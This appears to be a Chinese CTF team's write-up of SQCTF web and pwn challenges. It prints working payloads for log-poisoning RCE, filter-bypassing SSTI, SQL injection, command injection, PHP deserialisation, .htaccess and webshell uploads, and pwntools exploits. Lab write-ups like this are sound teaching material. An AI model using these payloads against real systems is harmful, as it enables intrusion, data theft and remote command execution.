Flitar战队write-up
战队信息:
名称:Flitar
排名:220
WEB
ezGame
奶奶滴,玩了四次才过
baby include
考察点:日志注入,文件读取
这是我第一次接触日志注入,希望下次接触新事物也能做出来!
我的步骤:
1.测试能不能读取/etc/passwd
发现可以,存在注入漏洞!

2.尝试遍历../:
发现可以,但是没什么用
3.尝试伪协议:
1.尝试直接读取filter:
被禁了,查询了好久,发现我们可以尝试大写
大小写不会影响伪协议

2.尝试读取flag.php
可恶啊!!被这个坑了一天时间,一直在想怎么绕过后缀,搜了一辈子,尝试了
1 | $ |
各种各样的玩意来尝试绕过,都失败了
3.测试其他伪协议,测试data/input伪协议来RCE
1 | DATA://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOz8%2b |

哈?,直接allow_url_include=0了。。。那input函数也不行了。
陷入了僵局。
我在这里消耗一天,满课,一直没有时间来证明我的猜想。
4.柳暗花明又一村!
总结目前困境:
1 | 1.无法读取flag.php("甚至都不知道是否存在这个文件") |
真的无法 RCE 吗?
我突发奇想,是否可以别的RCE,询问一下ai,居然真的有!

5.日志注入
我们有两种方法:
1.抓包,在BP里面修改
1 | User-Agent: system($_GET['cmd']); |
2.通过cmd:
1 | curl -A "<?= shell_exec('ls'); ?>" http://challenge.qsnctf.com:32272/ |
ls发现确实是有flag.php
6.通过下面代码来监听:
1 | ?look=file:///var/log/nginx/access.log |
失败页面:

好像是无法读取system函数
成功页面:

upload
很简单
流程:
1.BP抓包修改为php,直接上传成功。。。太简单了吧

2.交给剑蚁
发现找不到flag位置
3.实在找不到位置,直接RCE好了
1 | system('find / -iname "*flag*"'); |

得到:

找到一个比较短的,猜测为flag:
1 | <?php system('cat /usr/bin/dpkg-buildflags');?> |
居然不是,那可能在环境变量。
4.查询环境变量

不是哥们
5.只能慢慢找了。。。。
折磨我这么久,终于找到你了

1 | 查询代码: system('find / -iname "*fl*"'); |
得到flag:
1 | sqctf{35c2011b992f4975a593586a9ee22149} |
商师一日游

1.点击源码:

1 | <!--苦苦找寻, 在附近的草丛中发现的你的令牌, |
2.发送cookie
1 | curl -H "Cookie: fish=strong" challenge.qsnctf.com:32546/atc2cnzd.php |

也可以用BP抓包:

1 | 旅行碎片2: 1063 |
3.进入终端,在devtool中找到复活币
这是啥玩意嘞

为什么BP抓包里面看不见呢
1 | Tourist_fragment3: 0e7d5f |
4.直接发送(打开)robots.txt


1 | Tourist fragment4: 5843a2b |
5.正则匹配:
由于一个会匹配换行和大小写 (im),一个只会匹配大小写i。
1 | if(preg_match('/^php$/im', $a)){ |
输入:
1 | http://challenge.qsnctf.com:32546/atc5uupl.php?hhh=%0Aphp%0A |
(记得,要url编码,不然无法识别)

1 | 旅行碎片5: c4448a35 |
6.POST提交

提醒我们要用 POST 提交 auth=Hidden Levels
jiede
解得:
1 | 验证成功, 欢迎来到隐藏关卡: 继续前进 |
sqctf{10630e7d5f5843a2bc4448a351cd02}
7.执行任意代码?

早知道这样子就不做了(bushi)
8.拼接:
1 | sqctf{10630e7d5f5843a2bc4448a351cd02} |
看来还是得RCE
通过剑蚁链接:

拼得:
1 | sqctf{10630e7d5f5843a2bc4448a351cd0215} |
My blog
直接扫描一下输入账号密码就行了


1 | sqctf{a8e4fe74b2f546d1aca49fc6f23535c0} |
eeaassyy
直接
1 | view-source:http://challenge.qsnctf.com:30656/ |
嘿嘿嘿
怎么这么简单。。。
我还以为是pop链,没想到直接输入:
1 | data=O:3:"hhh":1:{s:7:"content";s:8:"GET_FLAG";} |
就可以了

1 | sqctf{f302b0b7dc064a96b990ef1de451315c} |
File_download
据题目提醒,可能是XXE

一.尝试文件读取
1.进入页面发现是登入页面,输入密码抓包发现是POST传输:

发现会解析XML

2.点开help
1 | get or post filename to /DownloadServlet ? |
那我们便猜测是filename
3.读取:
报错了,发现报错页面怎么这么眼熟?

我是不是做过类似的?
4.找到原型题目:[RoarCTF 2019]Easy Java
参考我的别的blog:
5.读取下载文件:
有个坑点,只有POST传输才能下载文件:

再通过 JDec - Java Decompiler Online 来解读

6.最终flag:
问ai破解脚本:

1 | 我还以为是 |
唯一:
考察点:SSTIset构造绕过
1.没有提醒,只能猜测:
我猜想是不是传输note(笔记),没想到是真的!

看来存在SSTI,(怎么发现的?直觉。。。。)
2.做题:
直接输入:
1 | http://challenge.qsnctf.com:32595/?note={{%27%27.__class__.__mro__[2].__subclasses__()}} |
返回:

居然有过滤!
3.经过测试,发现过滤
1 | {{cofig}} |
4.尝试chr绕过:
1 | {{ ""[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)] }} |
不知道为什么,报错了?这是为什么呢
5.尝试构造绕过:
1 | http://challenge.qsnctf.com:31181/?note={%set a='_' %}{%set b='_cla' %}{%set c='ss_'%}{{ ""[a ~ a ~ b ~ c ~ a ~ a] }} |
成功回显,发现注入点:

叫ai给我列出脚本:
1 | http://challenge.qsnctf.com:32114/?note= |
读取到

再构造:
1 | http://challenge.qsnctf.com:32114/?note= |

再再构造:
1 | http://challenge.qsnctf.com:31481//?note= |
奇怪,为什么一直没有返回页面???
看别人答案:
1 | ?note={{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("get")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")()}} |
一句话即可!!!!!
baby rce
考察点:代码审计
源码:
1 |
|
重点代码:
extract($_GET);
call_user_func($_POST['payload']);
1 | extract:对任意传入的get都创建一个变量,可以引发变量覆盖 |
构造:
1 | GET: |
有坑啊:
1 | 1.function isFullUse()根本没用啊!!!! |
你必须输入这个数字:
1 | http://challenge.qsnctf.com:32511/?sqctf=114514.1919810 |
RCE ME
源码:
1 |
|
1.无过滤
尝试ls发现可以正常返回:

2.使用ls 加 nl
1 | http://challenge.qsnctf.com:30325/?com=ls / |
得到

发现确实是在根目录下的:
不知道怎么访问,问了ai才知道可以用 nl
1 | http://challenge.qsnctf.com:30325/?com=nl /* |
得到:

1 | sqctf{18ca19167f0148ed81502fb6d5bf70ec} |
补充:
cat、nl、od 的核心区别
| 命令 | 功能 | 输出示例 | CTF 场景优势 |
|---|---|---|---|
cat |
直接连接文件并输出内容 | flag{example} |
简洁,适合快速查看文本文件 |
nl |
为每一行添加行号后输出 | 1 flag{example} |
区分多文件内容,定位关键行 |
od |
以八进制/十六进制格式转储文件内容 | 0000000 066 154 141 147 173 145... |
读取二进制文件或绕过特殊字符过滤 |
Ping
换行符解决:
1 | http://challenge.qsnctf.com:31165/?ip=127.0.0.1%0Acat /flag |
1 | sqctf{c866ed5d4e444e219824a4c48a055c4d} |
小小查询系统:
sql报错注入,大小写绕过,OFFSET
1 | http://challenge.qsnctf.com:30902/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database())))--+ |

1 | http://challenge.qsnctf.com:31757/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = DATABASE()))) -- 是错误的 |

1 | http://challenge.qsnctf.com:31757/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = users)))--+ |


1 | http://challenge.qsnctf.com:31586/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT group_concat(password) FROM users)))--+ |
好像。。。没什么用?

问ai才知道就返回了一半
1 | http://challenge.qsnctf.com:31667/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING( (SELECT GROUP_CONCAT(username) FROM users), 30, 60 )))--+ |

1 | http://challenge.qsnctf.com:31667/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING( (SELECT GROUP_CONCAT(password) FROM users), 310, 340 )))--+ |

啊?没有!!
看来得查看有没有别的库了!!
1 | ?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)))--+ |


果然在别的库!
找别的表:
1 | http://challenge.qsnctf.com:32378/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'ctf')))--+ |

找列
1 | http://challenge.qsnctf.com:32378/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema = 'ctf' AND table_name = 'flag')))--+ |

1 | http://challenge.qsnctf.com:32378/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT value FROM ctf.flag LIMIT 1), 0x7e))--+ |
突然释怀的死了:(不是,出题人你有病啊

我就不信了!
1 | http://challenge.qsnctf.com:30225/?id=-1' UNION SELECT 1, 2,COUNT(*) |
测试有几个:

尝试过程!!!!!
寻找列的名字:
1 | http://challenge.qsnctf.com:30225/?id=-1' UNION SELECT 1, 2,CONCAT('Table: ', TABLE_NAME, ' - Column: ', COLUMN_NAME) FROM information_schema.COLUMNS WHERE COLUMN_NAME LIKE '%flag%' LIMIT 1 OFFSET 0--+ |
可先通过下面代码测试有几个
1 | ?id=-1' UNION SELECT COUNT(*) |
都不行。。不如从头再来一遍吧!ctfer不怕困难!
最终payload:
1 | http://challenge.qsnctf.com:30225/?id=-1' UNION SELECT 1,2,group_concat(concat_ws('/',id,value)) from ctf.flag--+ |

不是哥们,为什么上面的可以返回,下面的不可以
1 | http://challenge.qsnctf.com:32378/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT value FROM ctf.flag LIMIT 1), 0x7e))--+ |
1 | SQCTF{66a47fc2-cf6e-7648-b523-d29363b5580c} |
后面发现,只需要改为:
1 | http://challenge.qsnctf.com:30225/?id=-1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT value FROM ctf.flag LIMIT 1 OFFSET 1), 0x7e))--+ |
就可以读出来了。。。。

有意思!!!
Are you from SQNU?
https的构造
1.post构造:

1 | POST: |
2.Referer构造
抓包构造:

1 | Referer: https://sqnu-tysec.com |

3.User-Agent(浏览器)构造

1 | User-Agent: TYsecBrowser |
4.本地伪造

1 | X-Forwarded-For: 127.0.0.1 |

5.cookie伪造

1 | Cookie: user=admin |
1 | sqctf{a807404102144dc09321556b1f1e5e04} |
伪装:
考察点:cookie伪造
源码:
1 | from flask import Flask, session, request, render_template_string |
1.代码解析:
1 | role = session.get('role') |
创造session
1 | if role.get('is_admin') == 1 and role.get('name') == 'sjx' |
session中两个对象名字要是对了就执行cat /flag
简简单单的cookie伪造:
1 | 1.下载工具箱: |
1 | Oh, You get me! The flag is: sqctf{0daeaa5589454f40b70376fa3d976f79} |
哎呀大大大黑塔
出这题的意义是什么?
输入Bv号得到源码,输入反序列化即可:
1 | data=O:6:"Secret":1:{s:3:"key";s:5:"SQCTF";} |
upload2
修改头文件就行:
1 | Content-Type: image/jpeg |
剑蚁链接

得到flag;
之前忘记写flag了,现在补一下:
1 |
ggoodd
写个脚本:
1 | import requests |
得到:
1 | sqctf{f681df505d114e11a0396603da15bf1c} |
计算题
写一个脚本就行:
1 | import requests |
1 | sqctf{90c050ee06fe46f88efc062b5fca0338} |
图片展示功能
考察点:配置文件冲突
直接上传一个htaccess文件就行:
1 | ------geckoformboundaryaf67d0729606b7673f9c9cc1df4c9ca0 |

再上传222.jpg就行

链接得flag:
1 | sqctf{1dc6e44118234c66ad971afbc5a0d774} |
有坑:
不能在htaccess头部加上任何修饰
1 | GIF89a |
Pickle
考察点:EZ反序列化
写在前面:
我真的服了,你加你那n干什么,

害的我查了那么久的/nflag!!!!!!
解决方法:
写一个反序列化脚本就行:
1 | import pickle |
得到:
1 | sqctf{01905ad6f2b14228be7ff6671572a99f} |
开发人员的不小心
扫描得到备份文件:

打开发现flag:

1 | sqctf{0195684076f54a0a9911680fbbf99a69} |
自私的小s
俺还以为是字符串逃逸呢
抓包发现在cookie里面有提醒:

访问/end.php得到路由:
1 |
|
构造:
1 | /end.php?payload=O:14:"Genshin_impact":1:{S:21:"\00Genshin_impact\00value";s:13:"system('ls');";} |
1 | sqctf{9dd57f92a13547128a5bc595992219f5} |
PWN
浅红欺醉粉,肯信有江梅
nc 靶机 ,输入
1 | ls |
领取你的小猫娘
简单栈溢出,输入搭配覆盖v5就行了
1 | from pwn import* context(os='linux',arch='amd64',log_level='debug') |
江南无所有,聊赠一枝春
题目提示藏有gift,打开ida查找
![[gift.png]]
看到漏洞
exp:
1 | from pwn import* context(os='linux',arch='amd64',log_level='debug') |
借的东风破金锁
打开ida,看见if函数条件,点击auth_code,查看它的值是53514E55435446h
1 | .data:0000000000004010 46 54 43 55 4E 51 53 00 auth_code dq 53514E55435446h |
丢给ai,转化为小端存储
![[ai.png]]
exp:
1 | from pwn import * |